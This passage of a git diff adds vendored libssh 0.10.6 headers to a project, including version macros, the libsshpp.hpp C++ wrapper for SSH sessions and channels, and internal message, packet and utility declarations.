SSH_VERSION(a, b, c) SSH_VERSION_DOT(a, b, c) + +/* libssh version */ +#define LIBSSH_VERSION_MAJOR 0 +#define LIBSSH_VERSION_MINOR 10 +#define LIBSSH_VERSION_MICRO 6 + +#define LIBSSH_VERSION_INT SSH_VERSION_INT(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) +#define LIBSSH_VERSION SSH_VERSION(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) + +#endif /* _LIBSSH_VERSION_H */ diff --git a/vendor/libssh/include/libssh/libssh_version.h.cmake b/vendor/libssh/include/libssh/libssh_version.h.cmake new file mode 100644 index 0000000..464fa14 --- /dev/null +++ b/vendor/libssh/include/libssh/libssh_version.h.cmake @@ -0,0 +1,41 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2020 by Heiko Thiery + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _LIBSSH_VERSION_H +#define _LIBSSH_VERSION_H + +/* libssh version macros */ +#define SSH_VERSION_INT(a, b, c) ((a) << 16 | (b) << 8 | (c)) +#define SSH_VERSION_DOT(a, b, c) a ##.## b ##.## c +#define SSH_VERSION(a, b, c) SSH_VERSION_DOT(a, b, c) + +/* libssh version */ +#define LIBSSH_VERSION_MAJOR @libssh_VERSION_MAJOR@ +#define LIBSSH_VERSION_MINOR @libssh_VERSION_MINOR@ +#define LIBSSH_VERSION_MICRO @libssh_VERSION_PATCH@ + +#define LIBSSH_VERSION_INT SSH_VERSION_INT(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) +#define LIBSSH_VERSION SSH_VERSION(LIBSSH_VERSION_MAJOR, \ + LIBSSH_VERSION_MINOR, \ + LIBSSH_VERSION_MICRO) + +#endif /* _LIBSSH_VERSION_H */ diff --git a/vendor/libssh/include/libssh/libsshpp.hpp b/vendor/libssh/include/libssh/libsshpp.hpp new file mode 100644 index 0000000..602c7ae --- /dev/null +++ b/vendor/libssh/include/libssh/libsshpp.hpp @@ -0,0 +1,681 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2010 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef LIBSSHPP_HPP_ +#define LIBSSHPP_HPP_ + +/** + * @defgroup ssh_cpp The libssh C++ wrapper + * + * The C++ bindings for libssh are completely embedded in a single .hpp file, and + * this for two reasons: + * - C++ is hard to keep binary compatible, C is easy. We try to keep libssh C version + * as much as possible binary compatible between releases, while this would be hard for + * C++. If you compile your program with these headers, you will only link to the C version + * of libssh which will be kept ABI compatible. No need to recompile your C++ program + * each time a new binary-compatible version of libssh is out + * - Most of the functions in this file are really short and are probably worth the "inline" + * linking mode, which the compiler can decide to do in some case. There would be nearly no + * performance penalty of using the wrapper rather than native calls. + * + * Please visit the documentation of ssh::Session and ssh::Channel + * @see ssh::Session + * @see ssh::Channel + * + * If you wish not to use C++ exceptions, please define SSH_NO_CPP_EXCEPTIONS: + * @code + * #define SSH_NO_CPP_EXCEPTIONS + * #include + * @endcode + * All functions will then return SSH_ERROR in case of error. + * @{ + */ + +/* do not use deprecated functions */ +#define LIBSSH_LEGACY_0_4 + +#include +#include +#include +#include +#include +#include + +namespace ssh { + +class Channel; +/** Some people do not like C++ exceptions. With this define, we give + * the choice to use or not exceptions. + * @brief if defined, disable C++ exceptions for libssh c++ wrapper + */ +#ifndef SSH_NO_CPP_EXCEPTIONS + +/** @brief This class describes a SSH Exception object. This object can be thrown + * by several SSH functions that interact with the network, and may fail because of + * socket, protocol or memory errors. + */ +class SshException{ +public: + SshException(ssh_session csession){ + code=ssh_get_error_code(csession); + description=std::string(ssh_get_error(csession)); + } + SshException(const SshException &e){ + code=e.code; + description=e.description; + } + /** @brief returns the Error code + * @returns SSH_FATAL Fatal error happened (not recoverable) + * @returns SSH_REQUEST_DENIED Request was denied by remote host + * @see ssh_get_error_code + */ + int getCode(){ + return code; + } + /** @brief returns the error message of the last exception + * @returns pointer to a c string containing the description of error + * @see ssh_get_error + */ + std::string getError(){ + return description; + } +private: + int code; + std::string description; +}; + +/** @internal + * @brief Macro to throw exception if there was an error + */ +#define ssh_throw(x) if((x)==SSH_ERROR) throw SshException(getCSession()) +#define ssh_throw_null(CSession,x) if((x)==NULL) throw SshException(CSession) +#define void_throwable void +#define return_throwable return + +#else + +/* No exception at all. All functions will return an error code instead + * of an exception + */ +#define ssh_throw(x) if((x)==SSH_ERROR) return SSH_ERROR +#define ssh_throw_null(CSession,x) if((x)==NULL) return NULL +#define void_throwable int +#define return_throwable return SSH_OK +#endif + +/** + * The ssh::Session class contains the state of a SSH connection. + */ +class Session { + friend class Channel; +public: + Session(){ + c_session=ssh_new(); + } + ~Session(){ + ssh_free(c_session); + c_session=NULL; + } + /** @brief sets an SSH session options + * @param type Type of option + * @param option cstring containing the value of option + * @throws SshException on error + * @see ssh_options_set + */ + void_throwable setOption(enum ssh_options_e type, const char *option){ + ssh_throw(ssh_options_set(c_session,type,option)); + return_throwable; + } + /** @brief sets an SSH session options + * @param type Type of option + * @param option long integer containing the value of option + * @throws SshException on error + * @see ssh_options_set + */ + void_throwable setOption(enum ssh_options_e type, long int option){ + ssh_throw(ssh_options_set(c_session,type,&option)); + return_throwable; + } + /** @brief sets an SSH session options + * @param type Type of option + * @param option void pointer containing the value of option + * @throws SshException on error + * @see ssh_options_set + */ + void_throwable setOption(enum ssh_options_e type, void *option){ + ssh_throw(ssh_options_set(c_session,type,option)); + return_throwable; + } + /** @brief connects to the remote host + * @throws SshException on error + * @see ssh_connect + */ + void_throwable connect(){ + int ret=ssh_connect(c_session); + ssh_throw(ret); + return_throwable; + } + /** @brief Authenticates automatically using public key + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_autopubkey + */ + int userauthPublickeyAuto(void){ + int ret=ssh_userauth_publickey_auto(c_session, NULL, NULL); + ssh_throw(ret); + return ret; + } + /** @brief Authenticates using the "none" method. Prefer using autopubkey if + * possible. + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_none + * @see Session::userauthAutoPubkey + */ + int userauthNone(){ + int ret=ssh_userauth_none(c_session,NULL); + ssh_throw(ret); + return ret; + } + + /** + * @brief Authenticate through the "keyboard-interactive" method. + * + * @param[in] username The username to authenticate. You can specify NULL if + * ssh_option_set_username() has been used. You cannot + * try two different logins in a row. + * + * @param[in] submethods Undocumented. Set it to NULL. + * + * @throws SshException on error + * + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED, + * SSH_AUTH_ERROR, SSH_AUTH_INFO, SSH_AUTH_AGAIN + * + * @see ssh_userauth_kbdint + */ + int userauthKbdint(const char* username, const char* submethods){ + int ret = ssh_userauth_kbdint(c_session, username, submethods); + ssh_throw(ret); + return ret; + } + + /** @brief Get the number of prompts (questions) the server has given. + * @returns The number of prompts. + * @see ssh_userauth_kbdint_getnprompts + */ + int userauthKbdintGetNPrompts(){ + return ssh_userauth_kbdint_getnprompts(c_session); + } + + /** + * @brief Set the answer for a question from a message block. + * + * @param[in] index The index number of the prompt. + * @param[in] answer The answer to give to the server. The answer MUST be + * encoded UTF-8. It is up to the server how to interpret + * the value and validate it. However, if you read the + * answer in some other encoding, you MUST convert it to + * UTF-8. + * + * @throws SshException on error + * + * @returns 0 on success, < 0 on error + * + * @see ssh_userauth_kbdint_setanswer + */ + int userauthKbdintSetAnswer(unsigned int index, const char *answer) + { + int ret = ssh_userauth_kbdint_setanswer(c_session, index, answer); + ssh_throw(ret); + return ret; + } + + + + /** @brief Authenticates using the password method. + * @param[in] password password to use for authentication + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_password + */ + int userauthPassword(const char *password){ + int ret=ssh_userauth_password(c_session,NULL,password); + ssh_throw(ret); + return ret; + } + /** @brief Try to authenticate using the publickey method. + * @param[in] pubkey public key to use for authentication + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS if the pubkey is accepted, + * @returns SSH_AUTH_DENIED if the pubkey is denied + * @see ssh_userauth_try_pubkey + */ + int userauthTryPublickey(ssh_key pubkey){ + int ret=ssh_userauth_try_publickey(c_session, NULL, pubkey); + ssh_throw(ret); + return ret; + } + /** @brief Authenticates using the publickey method. + * @param[in] privkey private key to use for authentication + * @throws SshException on error + * @returns SSH_AUTH_SUCCESS, SSH_AUTH_PARTIAL, SSH_AUTH_DENIED + * @see ssh_userauth_pubkey + */ + int userauthPublickey(ssh_key privkey){ + int ret=ssh_userauth_publickey(c_session, NULL, privkey); + ssh_throw(ret); + return ret; + } + + /** @brief Returns the available authentication methods from the server + * @throws SshException on error + * @returns Bitfield of available methods. + * @see ssh_userauth_list + */ + int getAuthList(){ + int ret=ssh_userauth_list(c_session, NULL); + ssh_throw(ret); + return ret; + } + /** @brief Disconnects from the SSH server and closes connection + * @see ssh_disconnect + */ + void disconnect(){ + ssh_disconnect(c_session); + } + /** @brief Returns the disconnect message from the server, if any + * @returns pointer to the message, or NULL. Do not attempt to free + * the pointer. + */ + const char *getDisconnectMessage(){ + const char *msg=ssh_get_disconnect_message(c_session); + return msg; + } + /** @internal + * @brief gets error message + */ + const char *getError(){ + return ssh_get_error(c_session); + } + /** @internal + * @brief returns error code + */ + int getErrorCode(){ + return ssh_get_error_code(c_session); + } + /** @brief returns the file descriptor used for the communication + * @returns the file descriptor + * @warning if a proxycommand is used, this function will only return + * one of the two file descriptors being used + * @see ssh_get_fd + */ + socket_t getSocket(){ + return ssh_get_fd(c_session); + } + /** @brief gets the Issue banner from the ssh server + * @returns the issue banner. This is generally a MOTD from server + * @see ssh_get_issue_banner + */ + std::string getIssueBanner(){ + char *banner = ssh_get_issue_banner(c_session); + std::string ret = ""; + if (banner != NULL) { + ret = std::string(banner); + ::free(banner); + } + return ret; + } + /** @brief returns the OpenSSH version (server) if possible + * @returns openssh version code + * @see ssh_get_openssh_version + */ + int getOpensshVersion(){ + return ssh_get_openssh_version(c_session); + } + /** @brief returns the version of the SSH protocol being used + * @returns the SSH protocol version + * @see ssh_get_version + */ + int getVersion(){ + return ssh_get_version(c_session); + } + /** @brief verifies that the server is known + * @throws SshException on error + * @returns Integer value depending on the knowledge of the + * server key + * @see ssh_session_update_known_hosts + */ + int isServerKnown(){ + int state = ssh_session_is_known_server(c_session); + ssh_throw(state); + return state; + } + void log(int priority, const char *format, ...){ + va_list va; + + va_start(va, format); + ssh_vlog(priority, "libsshpp", format, &va); + va_end(va); + } + + /** @brief copies options from a session to another + * @throws SshException on error + * @see ssh_options_copy + */ + void_throwable optionsCopy(const Session &source){ + ssh_throw(ssh_options_copy(source.c_session,&c_session)); + return_throwable; + } + /** @brief parses a configuration file for options + * @throws SshException on error + * @param[in] file configuration file name + * @see ssh_options_parse_config + */ + void_throwable optionsParseConfig(const char *file){ + ssh_throw(ssh_options_parse_config(c_session,file)); + return_throwable; + } + /** @brief silently disconnect from remote host + * @see ssh_silent_disconnect + */ + void silentDisconnect(){ + ssh_silent_disconnect(c_session); + } + /** @brief Writes the known host file with current + * host key + * @throws SshException on error + * @see ssh_write_knownhost + */ + int writeKnownhost(){ + int ret = ssh_session_update_known_hosts(c_session); + ssh_throw(ret); + return ret; + } + + /** @brief accept an incoming forward connection + * @param[in] timeout_ms timeout for waiting, in ms + * @returns new Channel pointer on the forward connection + * @returns NULL in case of error + * @warning you have to delete this pointer after use + * @see ssh_channel_forward_accept + * @see Session::listenForward + */ + inline Channel *acceptForward(int timeout_ms); + /* implemented outside the class due Channel references */ + + void_throwable cancelForward(const char *address, int port){ + int err=ssh_channel_cancel_forward(c_session, address, port); + ssh_throw(err); + return_throwable; + } + + void_throwable listenForward(const char *address, int port, + int &boundport){ + int err=ssh_channel_listen_forward(c_session, address, port, &boundport); + ssh_throw(err); + return_throwable; + } + + ssh_session getCSession(){ + return c_session; + } + +protected: + ssh_session c_session; + +private: + /* No copy constructor, no = operator */ + Session(const Session &); + Session& operator=(const Session &); +}; + +/** @brief the ssh::Channel class describes the state of an SSH + * channel. + * @see ssh_channel + */ +class Channel { + friend class Session; +public: + Channel(Session &ssh_session){ + channel = ssh_channel_new(ssh_session.getCSession()); + this->session = &ssh_session; + } + ~Channel(){ + ssh_channel_free(channel); + channel=NULL; + } + + /** @brief accept an incoming X11 connection + * @param[in] timeout_ms timeout for waiting, in ms + * @returns new Channel pointer on the X11 connection + * @returns NULL in case of error + * @warning you have to delete this pointer after use + * @see ssh_channel_accept_x11 + * @see Channel::requestX11 + */ + Channel *acceptX11(int timeout_ms){ + ssh_channel x11chan = ssh_channel_accept_x11(channel,timeout_ms); + ssh_throw_null(getCSession(),x11chan); + Channel *newchan = new Channel(getSession(),x11chan); + return newchan; + } + /** @brief change the size of a pseudoterminal + * @param[in] cols number of columns + * @param[in] rows number of rows + * @throws SshException on error + * @see ssh_channel_change_pty_size + */ + void_throwable changePtySize(int cols, int rows){ + int err=ssh_channel_change_pty_size(channel,cols,rows); + ssh_throw(err); + return_throwable; + } + + /** @brief closes a channel + * @throws SshException on error + * @see ssh_channel_close + */ + void_throwable close(){ + ssh_throw(ssh_channel_close(channel)); + return_throwable; + } + + int getExitStatus(){ + return ssh_channel_get_exit_status(channel); + } + Session &getSession(){ + return *session; + } + /** @brief returns true if channel is in closed state + * @see ssh_channel_is_closed + */ + bool isClosed(){ + return ssh_channel_is_closed(channel) != 0; + } + /** @brief returns true if channel is in EOF state + * @see ssh_channel_is_eof + */ + bool isEof(){ + return ssh_channel_is_eof(channel) != 0; + } + /** @brief returns true if channel is in open state + * @see ssh_channel_is_open + */ + bool isOpen(){ + return ssh_channel_is_open(channel) != 0; + } + int openForward(const char *remotehost, int remoteport, + const char *sourcehost, int localport=0){ + int err=ssh_channel_open_forward(channel,remotehost,remoteport, + sourcehost, localport); + ssh_throw(err); + return err; + } + /* TODO: completely remove this ? */ + void_throwable openSession(){ + int err=ssh_channel_open_session(channel); + ssh_throw(err); + return_throwable; + } + int poll(bool is_stderr=false){ + int err=ssh_channel_poll(channel,is_stderr); + ssh_throw(err); + return err; + } + int read(void *dest, size_t count){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_timeout(channel,dest,count,false,-1); + ssh_throw(err); + return err; + } + int read(void *dest, size_t count, int timeout){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_timeout(channel,dest,count,false,timeout); + ssh_throw(err); + return err; + } + int read(void *dest, size_t count, bool is_stderr=false, int timeout=-1){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_timeout(channel,dest,count,is_stderr,timeout); + ssh_throw(err); + return err; + } + int readNonblocking(void *dest, size_t count, bool is_stderr=false){ + int err; + /* handle int overflow */ + if(count > 0x7fffffff) + count = 0x7fffffff; + err=ssh_channel_read_nonblocking(channel,dest,count,is_stderr); + ssh_throw(err); + return err; + } + void_throwable requestEnv(const char *name, const char *value){ + int err=ssh_channel_request_env(channel,name,value); + ssh_throw(err); + return_throwable; + } + + void_throwable requestExec(const char *cmd){ + int err=ssh_channel_request_exec(channel,cmd); + ssh_throw(err); + return_throwable; + } + void_throwable requestPty(const char *term=NULL, int cols=0, int rows=0){ + int err; + if(term != NULL && cols != 0 && rows != 0) + err=ssh_channel_request_pty_size(channel,term,cols,rows); + else + err=ssh_channel_request_pty(channel); + ssh_throw(err); + return_throwable; + } + + void_throwable requestShell(){ + int err=ssh_channel_request_shell(channel); + ssh_throw(err); + return_throwable; + } + void_throwable requestSendSignal(const char *signum){ + int err=ssh_channel_request_send_signal(channel, signum); + ssh_throw(err); + return_throwable; + } + void_throwable requestSubsystem(const char *subsystem){ + int err=ssh_channel_request_subsystem(channel,subsystem); + ssh_throw(err); + return_throwable; + } + int requestX11(bool single_connection, + const char *protocol, const char *cookie, int screen_number){ + int err=ssh_channel_request_x11(channel,single_connection, + protocol, cookie, screen_number); + ssh_throw(err); + return err; + } + void_throwable sendEof(){ + int err=ssh_channel_send_eof(channel); + ssh_throw(err); + return_throwable; + } + /** @brief Writes on a channel + * @param data data to write. + * @param len number of bytes to write. + * @param is_stderr write should be done on the stderr channel (server only) + * @returns number of bytes written + * @throws SshException in case of error + * @see ssh_channel_write + * @see ssh_channel_write_stderr + */ + int write(const void *data, size_t len, bool is_stderr=false){ + int ret; + if(is_stderr){ + ret=ssh_channel_write_stderr(channel,data,len); + } else { + ret=ssh_channel_write(channel,data,len); + } + ssh_throw(ret); + return ret; + } + + ssh_session getCSession(){ + return session->getCSession(); + } + + ssh_channel getCChannel() { + return channel; + } + +protected: + Session *session; + ssh_channel channel; + +private: + Channel (Session &ssh_session, ssh_channel c_channel){ + this->channel=c_channel; + this->session = &ssh_session; + } + /* No copy and no = operator */ + Channel(const Channel &); + Channel &operator=(const Channel &); +}; + + +inline Channel *Session::acceptForward(int timeout_ms){ + ssh_channel forward = + ssh_channel_open_forward_port(c_session, timeout_ms, NULL, NULL, NULL); + ssh_throw_null(c_session,forward); + Channel *newchan = new Channel(*this,forward); + return newchan; + } + +} // namespace ssh + +/** @} */ +#endif /* LIBSSHPP_HPP_ */ diff --git a/vendor/libssh/include/libssh/messages.h b/vendor/libssh/include/libssh/messages.h new file mode 100644 index 0000000..160306c --- /dev/null +++ b/vendor/libssh/include/libssh/messages.h @@ -0,0 +1,115 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef MESSAGES_H_ +#define MESSAGES_H_ + +#include "config.h" + +struct ssh_auth_request { + char *username; + int method; + char *password; + struct ssh_key_struct *pubkey; + char *sigtype; + enum ssh_publickey_state_e signature_state; + char kbdint_response; +}; + +struct ssh_channel_request_open { + int type; + uint32_t sender; + uint32_t window; + uint32_t packet_size; + char *originator; + uint16_t originator_port; + char *destination; + uint16_t destination_port; +}; + +struct ssh_service_request { + char *service; +}; + +struct ssh_global_request { + int type; + uint8_t want_reply; + char *bind_address; + uint16_t bind_port; +}; + +struct ssh_channel_request { + int type; + ssh_channel channel; + uint8_t want_reply; + /* pty-req type specifics */ + char *TERM; + uint32_t width; + uint32_t height; + uint32_t pxwidth; + uint32_t pxheight; + ssh_string modes; + + /* env type request */ + char *var_name; + char *var_value; + /* exec type request */ + char *command; + /* subsystem */ + char *subsystem; + + /* X11 */ + uint8_t x11_single_connection; + char *x11_auth_protocol; + char *x11_auth_cookie; + uint32_t x11_screen_number; +}; + +struct ssh_message_struct { + ssh_session session; + int type; + struct ssh_auth_request auth_request; + struct ssh_channel_request_open channel_request_open; + struct ssh_channel_request channel_request; + struct ssh_service_request service_request; + struct ssh_global_request global_request; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_channel_open); +SSH_PACKET_CALLBACK(ssh_packet_global_request); + +#ifdef WITH_SERVER +SSH_PACKET_CALLBACK(ssh_packet_service_request); +SSH_PACKET_CALLBACK(ssh_packet_userauth_request); +#endif /* WITH_SERVER */ + +int ssh_message_handle_channel_request(ssh_session session, ssh_channel channel, ssh_buffer packet, + const char *request, uint8_t want_reply); +ssh_message ssh_message_pop_head(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* MESSAGES_H_ */ diff --git a/vendor/libssh/include/libssh/misc.h b/vendor/libssh/include/libssh/misc.h new file mode 100644 index 0000000..0924ba7 --- /dev/null +++ b/vendor/libssh/include/libssh/misc.h @@ -0,0 +1,113 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef MISC_H_ +#define MISC_H_ + +#ifdef __cplusplus +extern "C" { +#endif + +/* in misc.c */ +/* gets the user home dir. */ +char *ssh_get_user_home_dir(void); +char *ssh_get_local_username(void); +int ssh_file_readaccess_ok(const char *file); +int ssh_dir_writeable(const char *path); + +char *ssh_path_expand_tilde(const char *d); +char *ssh_path_expand_escape(ssh_session session, const char *s); +int ssh_analyze_banner(ssh_session session, int server); +int ssh_is_ipaddr_v4(const char *str); +int ssh_is_ipaddr(const char *str); + +/* list processing */ + +struct ssh_list { + struct ssh_iterator *root; + struct ssh_iterator *end; +}; + +struct ssh_iterator { + struct ssh_iterator *next; + const void *data; +}; + +struct ssh_timestamp { + long seconds; + long useconds; +}; + +enum ssh_quote_state_e { + NO_QUOTE, + SINGLE_QUOTE, + DOUBLE_QUOTE +}; + +struct ssh_list *ssh_list_new(void); +void ssh_list_free(struct ssh_list *list); +struct ssh_iterator *ssh_list_get_iterator(const struct ssh_list *list); +struct ssh_iterator *ssh_list_find(const struct ssh_list *list, void *value); +size_t ssh_list_count(const struct ssh_list *list); +int ssh_list_append(struct ssh_list *list, const void *data); +int ssh_list_prepend(struct ssh_list *list, const void *data); +void ssh_list_remove(struct ssh_list *list, struct ssh_iterator *iterator); +char *ssh_lowercase(const char* str); +char *ssh_hostport(const char *host, int port); + +const void *_ssh_list_pop_head(struct ssh_list *list); + +#define ssh_iterator_value(type, iterator)\ + ((type)((iterator)->data)) + +/** @brief fetch the head element of a list and remove it from list + * @param type type of the element to return + * @param ssh_list the ssh_list to use + * @return the first element of the list, or NULL if the list is empty + */ +#define ssh_list_pop_head(type, ssh_list)\ + ((type)_ssh_list_pop_head(ssh_list)) + +int ssh_make_milliseconds(unsigned long sec, unsigned long usec); +void ssh_timestamp_init(struct ssh_timestamp *ts); +int ssh_timeout_elapsed(struct ssh_timestamp *ts, int timeout); +int ssh_timeout_update(struct ssh_timestamp *ts, int timeout); + +int ssh_match_group(const char *group, const char *object); + +void uint64_inc(unsigned char *counter); + +void ssh_log_hexdump(const char *descr, const unsigned char *what, size_t len); + +int ssh_mkdirs(const char *pathname, mode_t mode); + +int ssh_quote_file_name(const char *file_name, char *buf, size_t buf_len); +int ssh_newline_vis(const char *string, char *buf, size_t buf_len); +int ssh_tmpname(char *name); + +char *ssh_strreplace(const char *src, const char *pattern, const char *repl); + +int ssh_check_hostname_syntax(const char *hostname); + +#ifdef __cplusplus +} +#endif + +#endif /* MISC_H_ */ diff --git a/vendor/libssh/include/libssh/options.h b/vendor/libssh/include/libssh/options.h new file mode 100644 index 0000000..35b3ffb --- /dev/null +++ b/vendor/libssh/include/libssh/options.h @@ -0,0 +1,39 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2011 Andreas Schneider + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _OPTIONS_H +#define _OPTIONS_H + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_config_parse_file(ssh_session session, const char *filename); +int ssh_config_parse_string(ssh_session session, const char *input); +int ssh_options_set_algo(ssh_session session, + enum ssh_kex_types_e algo, + const char *list); +int ssh_options_apply(ssh_session session); + +#ifdef __cplusplus +} +#endif + +#endif /* _OPTIONS_H */ diff --git a/vendor/libssh/include/libssh/packet.h b/vendor/libssh/include/libssh/packet.h new file mode 100644 index 0000000..f0c8cb2 --- /dev/null +++ b/vendor/libssh/include/libssh/packet.h @@ -0,0 +1,100 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef PACKET_H_ +#define PACKET_H_ + +#include "libssh/wrapper.h" + +struct ssh_socket_struct; + +/* this structure should go someday */ +typedef struct packet_struct { + int valid; + uint32_t len; + uint8_t type; +} PACKET; + +/** different state of packet reading. */ +enum ssh_packet_state_e { + /** Packet not initialized, must read the size of packet */ + PACKET_STATE_INIT, + /** Size was read, waiting for the rest of data */ + PACKET_STATE_SIZEREAD, + /** Full packet was read and callbacks are being called. Future packets + * should wait for the end of the callback. */ + PACKET_STATE_PROCESSING +}; + +enum ssh_packet_filter_result_e { + SSH_PACKET_UNKNOWN, + SSH_PACKET_ALLOWED, + SSH_PACKET_DENIED +}; + +int ssh_packet_send(ssh_session session); + +#ifdef __cplusplus +extern "C" { +#endif + +SSH_PACKET_CALLBACK(ssh_packet_unimplemented); +SSH_PACKET_CALLBACK(ssh_packet_disconnect_callback); +SSH_PACKET_CALLBACK(ssh_packet_ignore_callback); +SSH_PACKET_CALLBACK(ssh_packet_dh_reply); +SSH_PACKET_CALLBACK(ssh_packet_newkeys); +SSH_PACKET_CALLBACK(ssh_packet_service_accept); +SSH_PACKET_CALLBACK(ssh_packet_ext_info); + +#ifdef WITH_SERVER +SSH_PACKET_CALLBACK(ssh_packet_kexdh_init); +#endif + +int ssh_packet_send_newkeys(ssh_session session); +int ssh_packet_send_unimplemented(ssh_session session, uint32_t seqnum); +int ssh_packet_parse_type(ssh_session session); +//int packet_flush(ssh_session session, int enforce_blocking); + +size_t ssh_packet_socket_callback(const void *data, size_t len, void *user); +void ssh_packet_register_socket_callback(ssh_session session, struct ssh_socket_struct *s); +void ssh_packet_set_callbacks(ssh_session session, ssh_packet_callbacks callbacks); +void ssh_packet_remove_callbacks(ssh_session session, ssh_packet_callbacks callbacks); +void ssh_packet_set_default_callbacks(ssh_session session); +void ssh_packet_process(ssh_session session, uint8_t type); + +/* PACKET CRYPT */ +uint32_t ssh_packet_decrypt_len(ssh_session session, uint8_t *destination, uint8_t *source); +int ssh_packet_decrypt(ssh_session session, uint8_t *destination, uint8_t *source, + size_t start, size_t encrypted_size); +unsigned char *ssh_packet_encrypt(ssh_session session, + void *packet, + size_t len); +int ssh_packet_hmac_verify(ssh_session session, const void *data, size_t len, + unsigned char *mac, enum ssh_hmac_e type); +int ssh_packet_set_newkeys(ssh_session session, + enum ssh_crypto_direction_e direction); +struct ssh_crypto_struct *ssh_packet_get_current_crypto(ssh_session session, + enum ssh_crypto_direction_e direction); + +#ifdef __cplusplus +} +#endif + +#endif /* PACKET_H_ */ diff --git a/vendor/libssh/include/libssh/pcap.h b/vendor/libssh/include/libssh/pcap.h new file mode 100644 index 0000000..2a6c3c2 --- /dev/null +++ b/vendor/libssh/include/libssh/pcap.h @@ -0,0 +1,53 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a 